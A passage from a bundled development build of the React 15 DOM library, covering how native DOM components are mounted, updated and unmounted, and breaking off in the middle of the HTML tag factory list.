namespaceURI;\n    var parentTag;\n    if (nativeParent != null) {\n      namespaceURI = nativeParent._namespaceURI;\n      parentTag = nativeParent._tag;\n    } else if (nativeContainerInfo._tag) {\n      namespaceURI = nativeContainerInfo._namespaceURI;\n      parentTag = nativeContainerInfo._tag;\n    }\n    if (namespaceURI == null || namespaceURI === DOMNamespaces.svg && parentTag === 'foreignobject') {\n      namespaceURI = DOMNamespaces.html;\n    }\n    if (namespaceURI === DOMNamespaces.html) {\n      if (this._tag === 'svg') {\n        namespaceURI = DOMNamespaces.svg;\n      } else if (this._tag === 'math') {\n        namespaceURI = DOMNamespaces.mathml;\n      }\n    }\n    this._namespaceURI = namespaceURI;\n\n    if (\"development\" !== 'production') {\n      var parentInfo;\n      if (nativeParent != null) {\n        parentInfo = nativeParent._ancestorInfo;\n      } else if (nativeContainerInfo._tag) {\n        parentInfo = nativeContainerInfo._ancestorInfo;\n      }\n      if (parentInfo) {\n        // parentInfo should always be present except for the top-level\n        // component when server rendering\n        validateDOMNesting(this._tag, this, parentInfo);\n      }\n      this._ancestorInfo = validateDOMNesting.updatedAncestorInfo(parentInfo, this._tag, this);\n    }\n\n    var mountImage;\n    if (transaction.useCreateElement) {\n      var ownerDocument = nativeContainerInfo._ownerDocument;\n      var el;\n      if (namespaceURI === DOMNamespaces.html) {\n        if (this._tag === 'script') {\n          // Create the script via .innerHTML so its \"parser-inserted\" flag is\n          // set to true and it does not execute\n          var div = ownerDocument.createElement('div');\n          var type = this._currentElement.type;\n          div.innerHTML = '<' + type + '></' + type + '>';\n          el = div.removeChild(div.firstChild);\n        } else {\n          el = ownerDocument.createElement(this._currentElement.type);\n        }\n      } else {\n        el = ownerDocument.createElementNS(namespaceURI, this._currentElement.type);\n      }\n      ReactDOMComponentTree.precacheNode(this, el);\n      this._flags |= Flags.hasCachedChildNodes;\n      if (!this._nativeParent) {\n        DOMPropertyOperations.setAttributeForRoot(el);\n      }\n      this._updateDOMProperties(null, props, transaction);\n      var lazyTree = DOMLazyTree(el);\n      this._createInitialChildren(transaction, props, context, lazyTree);\n      mountImage = lazyTree;\n    } else {\n      var tagOpen = this._createOpenTagMarkupAndPutListeners(transaction, props);\n      var tagContent = this._createContentMarkup(transaction, props, context);\n      if (!tagContent && omittedCloseTags[this._tag]) {\n        mountImage = tagOpen + '/>';\n      } else {\n        mountImage = tagOpen + '>' + tagContent + '</' + this._currentElement.type + '>';\n      }\n    }\n\n    switch (this._tag) {\n      case 'button':\n      case 'input':\n      case 'select':\n      case 'textarea':\n        if (props.autoFocus) {\n          transaction.getReactMountReady().enqueue(AutoFocusUtils.focusDOMComponent, this);\n        }\n        break;\n      case 'option':\n        transaction.getReactMountReady().enqueue(optionPostMount, this);\n    }\n\n    return mountImage;\n  },\n\n  /**\n   * Creates markup for the open tag and all attributes.\n   *\n   * This method has side effects because events get registered.\n   *\n   * Iterating over object properties is faster than iterating over arrays.\n   * @see http://jsperf.com/obj-vs-arr-iteration\n   *\n   * @private\n   * @param {ReactReconcileTransaction|ReactServerRenderingTransaction} transaction\n   * @param {object} props\n   * @return {string} Markup of opening tag.\n   */\n  _createOpenTagMarkupAndPutListeners: function (transaction, props) {\n    var ret = '<' + this._currentElement.type;\n\n    for (var propKey in props) {\n      if (!props.hasOwnProperty(propKey)) {\n        continue;\n      }\n      var propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      if (registrationNameModules.hasOwnProperty(propKey)) {\n        if (propValue) {\n          enqueuePutListener(this, propKey, propValue, transaction);\n        }\n      } else {\n        if (propKey === STYLE) {\n          if (propValue) {\n            if (\"development\" !== 'production') {\n              // See `_updateDOMProperties`. style block\n              this._previousStyle = propValue;\n            }\n            propValue = this._previousStyleCopy = _assign({}, props.style);\n          }\n          propValue = CSSPropertyOperations.createMarkupForStyles(propValue, this);\n        }\n        var markup = null;\n        if (this._tag != null && isCustomComponent(this._tag, props)) {\n          if (!RESERVED_PROPS.hasOwnProperty(propKey)) {\n            markup = DOMPropertyOperations.createMarkupForCustomAttribute(propKey, propValue);\n          }\n        } else {\n          markup = DOMPropertyOperations.createMarkupForProperty(propKey, propValue);\n        }\n        if (markup) {\n          ret += ' ' + markup;\n        }\n      }\n    }\n\n    // For static pages, no need to put React ID and checksum. Saves lots of\n    // bytes.\n    if (transaction.renderToStaticMarkup) {\n      return ret;\n    }\n\n    if (!this._nativeParent) {\n      ret += ' ' + DOMPropertyOperations.createMarkupForRoot();\n    }\n    ret += ' ' + DOMPropertyOperations.createMarkupForID(this._domID);\n    return ret;\n  },\n\n  /**\n   * Creates markup for the content between the tags.\n   *\n   * @private\n   * @param {ReactReconcileTransaction|ReactServerRenderingTransaction} transaction\n   * @param {object} props\n   * @param {object} context\n   * @return {string} Content markup.\n   */\n  _createContentMarkup: function (transaction, props, context) {\n    var ret = '';\n\n    // Intentional use of != to avoid catching zero/false.\n    var innerHTML = props.dangerouslySetInnerHTML;\n    if (innerHTML != null) {\n      if (innerHTML.__html != null) {\n        ret = innerHTML.__html;\n      }\n    } else {\n      var contentToUse = CONTENT_TYPES[typeof props.children] ? props.children : null;\n      var childrenToUse = contentToUse != null ? null : props.children;\n      if (contentToUse != null) {\n        // TODO: Validate that text is allowed as a child of this node\n        ret = escapeTextContentForBrowser(contentToUse);\n      } else if (childrenToUse != null) {\n        var mountImages = this.mountChildren(childrenToUse, transaction, context);\n        ret = mountImages.join('');\n      }\n    }\n    if (newlineEatingTags[this._tag] && ret.charAt(0) === '\\n') {\n      // text/html ignores the first character in these tags if it's a newline\n      // Prefer to break application/xml over text/html (for now) by adding\n      // a newline specifically to get eaten by the parser. (Alternately for\n      // textareas, replacing \"^\\n\" with \"\\r\\n\" doesn't get eaten, and the first\n      // \\r is normalized out by HTMLTextAreaElement#value.)\n      // See: <http://www.w3.org/TR/html-polyglot/#newlines-in-textarea-and-pre>\n      // See: <http://www.w3.org/TR/html5/syntax.html#element-restrictions>\n      // See: <http://www.w3.org/TR/html5/syntax.html#newlines>\n      // See: Parsing of \"textarea\" \"listing\" and \"pre\" elements\n      //  from <http://www.w3.org/TR/html5/syntax.html#parsing-main-inbody>\n      return '\\n' + ret;\n    } else {\n      return ret;\n    }\n  },\n\n  _createInitialChildren: function (transaction, props, context, lazyTree) {\n    // Intentional use of != to avoid catching zero/false.\n    var innerHTML = props.dangerouslySetInnerHTML;\n    if (innerHTML != null) {\n      if (innerHTML.__html != null) {\n        DOMLazyTree.queueHTML(lazyTree, innerHTML.__html);\n      }\n    } else {\n      var contentToUse = CONTENT_TYPES[typeof props.children] ? props.children : null;\n      var childrenToUse = contentToUse != null ? null : props.children;\n      if (contentToUse != null) {\n        // TODO: Validate that text is allowed as a child of this node\n        DOMLazyTree.queueText(lazyTree, contentToUse);\n      } else if (childrenToUse != null) {\n        var mountImages = this.mountChildren(childrenToUse, transaction, context);\n        for (var i = 0; i < mountImages.length; i++) {\n          DOMLazyTree.queueChild(lazyTree, mountImages[i]);\n        }\n      }\n    }\n  },\n\n  /**\n   * Receives a next element and updates the component.\n   *\n   * @internal\n   * @param {ReactElement} nextElement\n   * @param {ReactReconcileTransaction|ReactServerRenderingTransaction} transaction\n   * @param {object} context\n   */\n  receiveComponent: function (nextElement, transaction, context) {\n    var prevElement = this._currentElement;\n    this._currentElement = nextElement;\n    this.updateComponent(transaction, prevElement, nextElement, context);\n  },\n\n  /**\n   * Updates a native DOM component after it has already been allocated and\n   * attached to the DOM. Reconciles the root DOM node, then recurses.\n   *\n   * @param {ReactReconcileTransaction} transaction\n   * @param {ReactElement} prevElement\n   * @param {ReactElement} nextElement\n   * @internal\n   * @overridable\n   */\n  updateComponent: function (transaction, prevElement, nextElement, context) {\n    var lastProps = prevElement.props;\n    var nextProps = this._currentElement.props;\n\n    switch (this._tag) {\n      case 'button':\n        lastProps = ReactDOMButton.getNativeProps(this, lastProps);\n        nextProps = ReactDOMButton.getNativeProps(this, nextProps);\n        break;\n      case 'input':\n        ReactDOMInput.updateWrapper(this);\n        lastProps = ReactDOMInput.getNativeProps(this, lastProps);\n        nextProps = ReactDOMInput.getNativeProps(this, nextProps);\n        break;\n      case 'option':\n        lastProps = ReactDOMOption.getNativeProps(this, lastProps);\n        nextProps = ReactDOMOption.getNativeProps(this, nextProps);\n        break;\n      case 'select':\n        lastProps = ReactDOMSelect.getNativeProps(this, lastProps);\n        nextProps = ReactDOMSelect.getNativeProps(this, nextProps);\n        break;\n      case 'textarea':\n        ReactDOMTextarea.updateWrapper(this);\n        lastProps = ReactDOMTextarea.getNativeProps(this, lastProps);\n        nextProps = ReactDOMTextarea.getNativeProps(this, nextProps);\n        break;\n    }\n\n    assertValidProps(this, nextProps);\n    this._updateDOMProperties(lastProps, nextProps, transaction);\n    this._updateDOMChildren(lastProps, nextProps, transaction, context);\n\n    if (this._tag === 'select') {\n      // <select> value update needs to occur after <option> children\n      // reconciliation\n      transaction.getReactMountReady().enqueue(postUpdateSelectWrapper, this);\n    }\n  },\n\n  /**\n   * Reconciles the properties by detecting differences in property values and\n   * updating the DOM as necessary. This function is probably the single most\n   * critical path for performance optimization.\n   *\n   * TODO: Benchmark whether checking for changed values in memory actually\n   *       improves performance (especially statically positioned elements).\n   * TODO: Benchmark the effects of putting this at the top since 99% of props\n   *       do not change for a given reconciliation.\n   * TODO: Benchmark areas that can be improved with caching.\n   *\n   * @private\n   * @param {object} lastProps\n   * @param {object} nextProps\n   * @param {?DOMElement} node\n   */\n  _updateDOMProperties: function (lastProps, nextProps, transaction) {\n    var propKey;\n    var styleName;\n    var styleUpdates;\n    for (propKey in lastProps) {\n      if (nextProps.hasOwnProperty(propKey) || !lastProps.hasOwnProperty(propKey) || lastProps[propKey] == null) {\n        continue;\n      }\n      if (propKey === STYLE) {\n        var lastStyle = this._previousStyleCopy;\n        for (styleName in lastStyle) {\n          if (lastStyle.hasOwnProperty(styleName)) {\n            styleUpdates = styleUpdates || {};\n            styleUpdates[styleName] = '';\n          }\n        }\n        this._previousStyleCopy = null;\n      } else if (registrationNameModules.hasOwnProperty(propKey)) {\n        if (lastProps[propKey]) {\n          // Only call deleteListener if there was a listener previously or\n          // else willDeleteListener gets called when there wasn't actually a\n          // listener (e.g., onClick={null})\n          deleteListener(this, propKey);\n        }\n      } else if (DOMProperty.properties[propKey] || DOMProperty.isCustomAttribute(propKey)) {\n        DOMPropertyOperations.deleteValueForProperty(getNode(this), propKey);\n      }\n    }\n    for (propKey in nextProps) {\n      var nextProp = nextProps[propKey];\n      var lastProp = propKey === STYLE ? this._previousStyleCopy : lastProps != null ? lastProps[propKey] : undefined;\n      if (!nextProps.hasOwnProperty(propKey) || nextProp === lastProp || nextProp == null && lastProp == null) {\n        continue;\n      }\n      if (propKey === STYLE) {\n        if (nextProp) {\n          if (\"development\" !== 'production') {\n            checkAndWarnForMutatedStyle(this._previousStyleCopy, this._previousStyle, this);\n            this._previousStyle = nextProp;\n          }\n          nextProp = this._previousStyleCopy = _assign({}, nextProp);\n        } else {\n          this._previousStyleCopy = null;\n        }\n        if (lastProp) {\n          // Unset styles on `lastProp` but not on `nextProp`.\n          for (styleName in lastProp) {\n            if (lastProp.hasOwnProperty(styleName) && (!nextProp || !nextProp.hasOwnProperty(styleName))) {\n              styleUpdates = styleUpdates || {};\n              styleUpdates[styleName] = '';\n            }\n          }\n          // Update styles that changed since `lastProp`.\n          for (styleName in nextProp) {\n            if (nextProp.hasOwnProperty(styleName) && lastProp[styleName] !== nextProp[styleName]) {\n              styleUpdates = styleUpdates || {};\n              styleUpdates[styleName] = nextProp[styleName];\n            }\n          }\n        } else {\n          // Relies on `updateStylesByID` not mutating `styleUpdates`.\n          styleUpdates = nextProp;\n        }\n      } else if (registrationNameModules.hasOwnProperty(propKey)) {\n        if (nextProp) {\n          enqueuePutListener(this, propKey, nextProp, transaction);\n        } else if (lastProp) {\n          deleteListener(this, propKey);\n        }\n      } else if (isCustomComponent(this._tag, nextProps)) {\n        if (!RESERVED_PROPS.hasOwnProperty(propKey)) {\n          DOMPropertyOperations.setValueForAttribute(getNode(this), propKey, nextProp);\n        }\n      } else if (DOMProperty.properties[propKey] || DOMProperty.isCustomAttribute(propKey)) {\n        var node = getNode(this);\n        // If we're updating to null or undefined, we should remove the property\n        // from the DOM node instead of inadvertently setting to a string. This\n        // brings us in line with the same behavior we have on initial render.\n        if (nextProp != null) {\n          DOMPropertyOperations.setValueForProperty(node, propKey, nextProp);\n        } else {\n          DOMPropertyOperations.deleteValueForProperty(node, propKey);\n        }\n      }\n    }\n    if (styleUpdates) {\n      CSSPropertyOperations.setValueForStyles(getNode(this), styleUpdates, this);\n    }\n  },\n\n  /**\n   * Reconciles the children with the various properties that affect the\n   * children content.\n   *\n   * @param {object} lastProps\n   * @param {object} nextProps\n   * @param {ReactReconcileTransaction} transaction\n   * @param {object} context\n   */\n  _updateDOMChildren: function (lastProps, nextProps, transaction, context) {\n    var lastContent = CONTENT_TYPES[typeof lastProps.children] ? lastProps.children : null;\n    var nextContent = CONTENT_TYPES[typeof nextProps.children] ? nextProps.children : null;\n\n    var lastHtml = lastProps.dangerouslySetInnerHTML && lastProps.dangerouslySetInnerHTML.__html;\n    var nextHtml = nextProps.dangerouslySetInnerHTML && nextProps.dangerouslySetInnerHTML.__html;\n\n    // Note the use of `!=` which checks for null or undefined.\n    var lastChildren = lastContent != null ? null : lastProps.children;\n    var nextChildren = nextContent != null ? null : nextProps.children;\n\n    // If we're switching from children to content/html or vice versa, remove\n    // the old content\n    var lastHasContentOrHtml = lastContent != null || lastHtml != null;\n    var nextHasContentOrHtml = nextContent != null || nextHtml != null;\n    if (lastChildren != null && nextChildren == null) {\n      this.updateChildren(null, transaction, context);\n    } else if (lastHasContentOrHtml && !nextHasContentOrHtml) {\n      this.updateTextContent('');\n    }\n\n    if (nextContent != null) {\n      if (lastContent !== nextContent) {\n        this.updateTextContent('' + nextContent);\n      }\n    } else if (nextHtml != null) {\n      if (lastHtml !== nextHtml) {\n        this.updateMarkup('' + nextHtml);\n      }\n    } else if (nextChildren != null) {\n      this.updateChildren(nextChildren, transaction, context);\n    }\n  },\n\n  getNativeNode: function () {\n    return getNode(this);\n  },\n\n  /**\n   * Destroys all event registrations for this instance. Does not remove from\n   * the DOM. That must be done by the parent.\n   *\n   * @internal\n   */\n  unmountComponent: function (safely) {\n    switch (this._tag) {\n      case 'iframe':\n      case 'object':\n      case 'img':\n      case 'form':\n      case 'video':\n      case 'audio':\n        var listeners = this._wrapperState.listeners;\n        if (listeners) {\n          for (var i = 0; i < listeners.length; i++) {\n            listeners[i].remove();\n          }\n        }\n        break;\n      case 'html':\n      case 'head':\n      case 'body':\n        /**\n         * Components like <html> <head> and <body> can't be removed or added\n         * easily in a cross-browser way, however it's valuable to be able to\n         * take advantage of React's reconciliation for styling and <title>\n         * management. So we just document it and throw in dangerous cases.\n         */\n        !false ? \"development\" !== 'production' ? invariant(false, '<%s> tried to unmount. Because of cross-browser quirks it is ' + 'impossible to unmount some top-level components (eg <html>, ' + '<head>, and <body>) reliably and efficiently. To fix this, have a ' + 'single top-level component that never unmounts render these ' + 'elements.', this._tag) : invariant(false) : void 0;\n        break;\n    }\n\n    this.unmountChildren(safely);\n    ReactDOMComponentTree.uncacheNode(this);\n    EventPluginHub.deleteAllListeners(this);\n    ReactComponentBrowserEnvironment.unmountIDFromEnvironment(this._rootNodeID);\n    this._rootNodeID = null;\n    this._domID = null;\n    this._wrapperState = null;\n  },\n\n  getPublicInstance: function () {\n    return getNode(this);\n  }\n\n};\n\nReactPerf.measureMethods(ReactDOMComponent.Mixin, 'ReactDOMComponent', {\n  mountComponent: 'mountComponent',\n  receiveComponent: 'receiveComponent'\n});\n\n_assign(ReactDOMComponent.prototype, ReactDOMComponent.Mixin, ReactMultiChild.Mixin);\n\nmodule.exports = ReactDOMComponent;\n},{\"1\":1,\"10\":10,\"11\":11,\"119\":119,\"133\":133,\"142\":142,\"158\":158,\"16\":16,\"162\":162,\"167\":167,\"168\":168,\"169\":169,\"17\":17,\"18\":18,\"27\":27,\"32\":32,\"37\":37,\"39\":39,\"4\":4,\"40\":40,\"47\":47,\"49\":49,\"50\":50,\"54\":54,\"76\":76,\"8\":8,\"82\":82,\"9\":9}],39:[function(_dereq_,module,exports){\n/**\n * Copyright 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMComponentFlags\n */\n\n'use strict';\n\nvar ReactDOMComponentFlags = {\n  hasCachedChildNodes: 1 << 0\n};\n\nmodule.exports = ReactDOMComponentFlags;\n},{}],40:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMComponentTree\n */\n\n'use strict';\n\nvar DOMProperty = _dereq_(10);\nvar ReactDOMComponentFlags = _dereq_(39);\n\nvar invariant = _dereq_(158);\n\nvar ATTR_NAME = DOMProperty.ID_ATTRIBUTE_NAME;\nvar Flags = ReactDOMComponentFlags;\n\nvar internalInstanceKey = '__reactInternalInstance$' + Math.random().toString(36).slice(2);\n\n/**\n * Drill down (through composites and empty components) until we get a native or\n * native text component.\n *\n * This is pretty polymorphic but unavoidable with the current structure we have\n * for `_renderedChildren`.\n */\nfunction getRenderedNativeOrTextFromComponent(component) {\n  var rendered;\n  while (rendered = component._renderedComponent) {\n    component = rendered;\n  }\n  return component;\n}\n\n/**\n * Populate `_nativeNode` on the rendered native/text component with the given\n * DOM node. The passed `inst` can be a composite.\n */\nfunction precacheNode(inst, node) {\n  var nativeInst = getRenderedNativeOrTextFromComponent(inst);\n  nativeInst._nativeNode = node;\n  node[internalInstanceKey] = nativeInst;\n}\n\nfunction uncacheNode(inst) {\n  var node = inst._nativeNode;\n  if (node) {\n    delete node[internalInstanceKey];\n    inst._nativeNode = null;\n  }\n}\n\n/**\n * Populate `_nativeNode` on each child of `inst`, assuming that the children\n * match up with the DOM (element) children of `node`.\n *\n * We cache entire levels at once to avoid an n^2 problem where we access the\n * children of a node sequentially and have to walk from the start to our target\n * node every time.\n *\n * Since we update `_renderedChildren` and the actual DOM at (slightly)\n * different times, we could race here and see a newer `_renderedChildren` than\n * the DOM nodes we see. To avoid this, ReactMultiChild calls\n * `prepareToManageChildren` before we change `_renderedChildren`, at which\n * time the container's child nodes are always cached (until it unmounts).\n */\nfunction precacheChildNodes(inst, node) {\n  if (inst._flags & Flags.hasCachedChildNodes) {\n    return;\n  }\n  var children = inst._renderedChildren;\n  var childNode = node.firstChild;\n  outer: for (var name in children) {\n    if (!children.hasOwnProperty(name)) {\n      continue;\n    }\n    var childInst = children[name];\n    var childID = getRenderedNativeOrTextFromComponent(childInst)._domID;\n    if (childID == null) {\n      // We're currently unmounting this child in ReactMultiChild; skip it.\n      continue;\n    }\n    // We assume the child nodes are in the same order as the child instances.\n    for (; childNode !== null; childNode = childNode.nextSibling) {\n      if (childNode.nodeType === 1 && childNode.getAttribute(ATTR_NAME) === String(childID) || childNode.nodeType === 8 && childNode.nodeValue === ' react-text: ' + childID + ' ' || childNode.nodeType === 8 && childNode.nodeValue === ' react-empty: ' + childID + ' ') {\n        precacheNode(childInst, childNode);\n        continue outer;\n      }\n    }\n    // We reached the end of the DOM children without finding an ID match.\n    !false ? \"development\" !== 'production' ? invariant(false, 'Unable to find element with ID %s.', childID) : invariant(false) : void 0;\n  }\n  inst._flags |= Flags.hasCachedChildNodes;\n}\n\n/**\n * Given a DOM node, return the closest ReactDOMComponent or\n * ReactDOMTextComponent instance ancestor.\n */\nfunction getClosestInstanceFromNode(node) {\n  if (node[internalInstanceKey]) {\n    return node[internalInstanceKey];\n  }\n\n  // Walk up the tree until we find an ancestor whose instance we have cached.\n  var parents = [];\n  while (!node[internalInstanceKey]) {\n    parents.push(node);\n    if (node.parentNode) {\n      node = node.parentNode;\n    } else {\n      // Top of the tree. This node must not be part of a React tree (or is\n      // unmounted, potentially).\n      return null;\n    }\n  }\n\n  var closest;\n  var inst;\n  for (; node && (inst = node[internalInstanceKey]); node = parents.pop()) {\n    closest = inst;\n    if (parents.length) {\n      precacheChildNodes(inst, node);\n    }\n  }\n\n  return closest;\n}\n\n/**\n * Given a DOM node, return the ReactDOMComponent or ReactDOMTextComponent\n * instance, or null if the node was not rendered by this React.\n */\nfunction getInstanceFromNode(node) {\n  var inst = getClosestInstanceFromNode(node);\n  if (inst != null && inst._nativeNode === node) {\n    return inst;\n  } else {\n    return null;\n  }\n}\n\n/**\n * Given a ReactDOMComponent or ReactDOMTextComponent, return the corresponding\n * DOM node.\n */\nfunction getNodeFromInstance(inst) {\n  // Without this first invariant, passing a non-DOM-component triggers the next\n  // invariant for a missing parent, which is super confusing.\n  !(inst._nativeNode !== undefined) ? \"development\" !== 'production' ? invariant(false, 'getNodeFromInstance: Invalid argument.') : invariant(false) : void 0;\n\n  if (inst._nativeNode) {\n    return inst._nativeNode;\n  }\n\n  // Walk up the tree until we find an ancestor whose DOM node we have cached.\n  var parents = [];\n  while (!inst._nativeNode) {\n    parents.push(inst);\n    !inst._nativeParent ? \"development\" !== 'production' ? invariant(false, 'React DOM tree root should always have a node reference.') : invariant(false) : void 0;\n    inst = inst._nativeParent;\n  }\n\n  // Now parents contains each ancestor that does *not* have a cached native\n  // node, and `inst` is the deepest ancestor that does.\n  for (; parents.length; inst = parents.pop()) {\n    precacheChildNodes(inst, inst._nativeNode);\n  }\n\n  return inst._nativeNode;\n}\n\nvar ReactDOMComponentTree = {\n  getClosestInstanceFromNode: getClosestInstanceFromNode,\n  getInstanceFromNode: getInstanceFromNode,\n  getNodeFromInstance: getNodeFromInstance,\n  precacheChildNodes: precacheChildNodes,\n  precacheNode: precacheNode,\n  uncacheNode: uncacheNode\n};\n\nmodule.exports = ReactDOMComponentTree;\n},{\"10\":10,\"158\":158,\"39\":39}],41:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMContainerInfo\n */\n\n'use strict';\n\nvar validateDOMNesting = _dereq_(142);\n\nvar DOC_NODE_TYPE = 9;\n\nfunction ReactDOMContainerInfo(topLevelWrapper, node) {\n  var info = {\n    _topLevelWrapper: topLevelWrapper,\n    _idCounter: 1,\n    _ownerDocument: node ? node.nodeType === DOC_NODE_TYPE ? node : node.ownerDocument : null,\n    _node: node,\n    _tag: node ? node.nodeName.toLowerCase() : null,\n    _namespaceURI: node ? node.namespaceURI : null\n  };\n  if (\"development\" !== 'production') {\n    info._ancestorInfo = node ? validateDOMNesting.updatedAncestorInfo(null, info._tag, null) : null;\n  }\n  return info;\n}\n\nmodule.exports = ReactDOMContainerInfo;\n},{\"142\":142}],42:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMDebugTool\n */\n\n'use strict';\n\nvar ReactDOMUnknownPropertyDevtool = _dereq_(56);\n\nvar warning = _dereq_(168);\n\nvar eventHandlers = [];\nvar handlerDoesThrowForEvent = {};\n\nfunction emitEvent(handlerFunctionName, arg1, arg2, arg3, arg4, arg5) {\n  if (\"development\" !== 'production') {\n    eventHandlers.forEach(function (handler) {\n      try {\n        if (handler[handlerFunctionName]) {\n          handler[handlerFunctionName](arg1, arg2, arg3, arg4, arg5);\n        }\n      } catch (e) {\n        \"development\" !== 'production' ? warning(!handlerDoesThrowForEvent[handlerFunctionName], 'exception thrown by devtool while handling %s: %s', handlerFunctionName, e.message) : void 0;\n        handlerDoesThrowForEvent[handlerFunctionName] = true;\n      }\n    });\n  }\n}\n\nvar ReactDOMDebugTool = {\n  addDevtool: function (devtool) {\n    eventHandlers.push(devtool);\n  },\n  removeDevtool: function (devtool) {\n    for (var i = 0; i < eventHandlers.length; i++) {\n      if (eventHandlers[i] === devtool) {\n        eventHandlers.splice(i, 1);\n        i--;\n      }\n    }\n  },\n  onCreateMarkupForProperty: function (name, value) {\n    emitEvent('onCreateMarkupForProperty', name, value);\n  },\n  onSetValueForProperty: function (node, name, value) {\n    emitEvent('onSetValueForProperty', node, name, value);\n  },\n  onDeleteValueForProperty: function (node, name) {\n    emitEvent('onDeleteValueForProperty', node, name);\n  }\n};\n\nReactDOMDebugTool.addDevtool(ReactDOMUnknownPropertyDevtool);\n\nmodule.exports = ReactDOMDebugTool;\n},{\"168\":168,\"56\":56}],43:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMEmptyComponent\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar DOMLazyTree = _dereq_(8);\nvar ReactDOMComponentTree = _dereq_(40);\n\nvar ReactDOMEmptyComponent = function (instantiate) {\n  // ReactCompositeComponent uses this:\n  this._currentElement = null;\n  // ReactDOMComponentTree uses these:\n  this._nativeNode = null;\n  this._nativeParent = null;\n  this._nativeContainerInfo = null;\n  this._domID = null;\n};\n_assign(ReactDOMEmptyComponent.prototype, {\n  mountComponent: function (transaction, nativeParent, nativeContainerInfo, context) {\n    var domID = nativeContainerInfo._idCounter++;\n    this._domID = domID;\n    this._nativeParent = nativeParent;\n    this._nativeContainerInfo = nativeContainerInfo;\n\n    var nodeValue = ' react-empty: ' + this._domID + ' ';\n    if (transaction.useCreateElement) {\n      var ownerDocument = nativeContainerInfo._ownerDocument;\n      var node = ownerDocument.createComment(nodeValue);\n      ReactDOMComponentTree.precacheNode(this, node);\n      return DOMLazyTree(node);\n    } else {\n      if (transaction.renderToStaticMarkup) {\n        // Normally we'd insert a comment node, but since this is a situation\n        // where React won't take over (static pages), we can simply return\n        // nothing.\n        return '';\n      }\n      return '<!--' + nodeValue + '-->';\n    }\n  },\n  receiveComponent: function () {},\n  getNativeNode: function () {\n    return ReactDOMComponentTree.getNodeFromInstance(this);\n  },\n  unmountComponent: function () {\n    ReactDOMComponentTree.uncacheNode(this);\n  }\n});\n\nmodule.exports = ReactDOMEmptyComponent;\n},{\"169\":169,\"40\":40,\"8\":8}],44:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMFactories\n */\n\n'use strict';\n\nvar ReactElement = _dereq_(62);\nvar ReactElementValidator = _dereq_(63);\n\nvar mapObject = _dereq_(163);\n\n/**\n * Create a factory that creates HTML tag elements.\n *\n * @param {string} tag Tag name (e.g. `div`).\n * @private\n */\nfunction createDOMFactory(tag) {\n  if (\"development\" !== 'production') {\n    return ReactElementValidator.createFactory(tag);\n  }\n  return ReactElement.createFactory(tag);\n}\n\n/**\n * Creates a mapping from supported HTML tags to `ReactDOMComponent` classes.\n * This is also accessible via `React.DOM`.\n *\n * @public\n */\nvar ReactDOMFactories = mapObject({\n  a: 'a',\n  abbr: 'abbr',\n  address: 'address',\n  area: 'area',\n  article: 'article',\n  aside: 'aside',\n  audio: 'audio',\n  b: 'b',\n  base: 'base',\n  bdi: 'bdi',\n  bdo: 'bdo',\n  big: 'big',\n  blockquote: 'blockquote',\n  body: 'body',\n  br: 'br',\n  button: 'button',\n  canvas: 'canvas',\n  caption: 'caption',\n  cite: 'cite',\n  code: 'code',\n  col: 'col',\n  colgroup: 'colgroup',\n  data: 'data',\n  datalist: 'datalist',\n  dd: 'dd',\n  del: 'del',\n  details: 'details',\n  dfn: 'dfn',\n  dialog: 'dialog',\n  div: 'div',\n  dl: 'dl',\n  dt: 'dt',\n  em: 'em',\n  embed: 'embed',\n  fieldset: 'fieldset',\n  figcaption: 'figcaption',\n  figure: 'figure',\n  footer: 'footer',\n  form: 'form',\n  h1: 'h1',\n  h2: 'h2',\n  h3: 'h3',\n  h4: 'h4',\n  h5: 'h5',\n  h6: 'h6',\n  head: 'head',\n  header: 'header',\n  hgroup: 'hgroup',\n  hr: 'hr',\n  html: 'html',\n  i: 'i',\n  iframe: 'iframe',\n  img: 'img',\n  input: 'input',\n  ins: 'ins',\n  kbd: 'kbd',\n  keygen: 'keygen',\n  label: 'label',\n  legend: 'legend',\n  li: 'li',\n  link: 'link',\n  main: 'main',\n  map: 'map',\n  mark: 'mark',\n  menu: 'menu',\n  menuitem: 'menuitem',\n  meta: 'meta',\n  meter: 'meter',\n  nav: 'nav',\n  noscript: 'noscript',\n  object: 'object',\n  ol: 'ol',\n  optgroup: 'optgroup',\n  option: 'option',\n  output: 'output',\n  p: 'p',\n  param: 'param',\n  picture: 'picture',\n  pre: 'pre',\n  progress: 'progress',\n  q: 'q',\n  rp: 'rp',\n  rt: 'rt',\n  ruby: 'ruby',\n  s: 's',\n  samp: 'samp',\n  script: 'script',\n  section: 'section',\n  select: 'select',\n  small: 'small',\n  source: 'source',\n  span: 'span',\n  strong: 'strong',\n  style: 'style',\n  sub: 'sub',\n  summary: 'summary',\n  sup: 'sup',\n  table: 'table',\n  tbody: 'tbody',\n  td: 'td',\n  textarea: 'textarea',\n  tfoot: 'tfoot',\n  